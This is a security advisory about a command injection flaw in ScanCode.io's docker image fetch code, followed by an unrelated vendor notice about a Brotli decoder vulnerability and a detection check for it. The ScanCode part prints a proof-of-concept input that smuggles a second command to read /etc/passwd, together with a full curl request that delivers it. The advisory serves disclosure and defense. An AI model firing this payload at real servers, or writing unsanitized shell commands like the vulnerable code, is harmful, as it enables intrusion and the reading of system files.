ScanCode.io command injection in docker image fetch process
Command Injection in docker fetch process
Summary
A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.
Details
In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.
def fetch_docker_image(docker_reference, to=None):
"""
code snipped ....
"""
platform_args = []
platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
"""
code snipped...
"""
However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.
def get_docker_image_platform(docker_reference):
"""
Return a platform mapping of a docker reference.
If there are more than one, return the first one by default.
"""
skopeo_executable = _get_skopeo_location()
"""
Constructing a shell command with user controlled variable `docker_reference`
"""
cmd = (
f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
f"{docker_reference}"
)
logger.info(f"Fetching image os/arch data: {cmd}")
exitcode, output = pipes.run_command(cmd) # Executing command
logger.info(output)
if exitcode != 0:
raise FetchDockerImageError(output)
A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.
PoC
-
Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs

-
Check docker logs to see the command execution

curl -i -s -k -X $'POST' \
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
-b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
--data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
$'http://localhost/project/add/'
Mitigations
The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.
Tested on:
- Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
- OS: Ubuntu Linux Kernel 5.19.0
References
[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185
Latest trending attack
Criticalyesterday
Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)
This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.
Why a second control
CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.
Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.
The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.
What this control checks
Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.
How to read the result
Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.
This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.
Affected and fixed versions
Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.
Recommendations
Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.
Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli.
Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.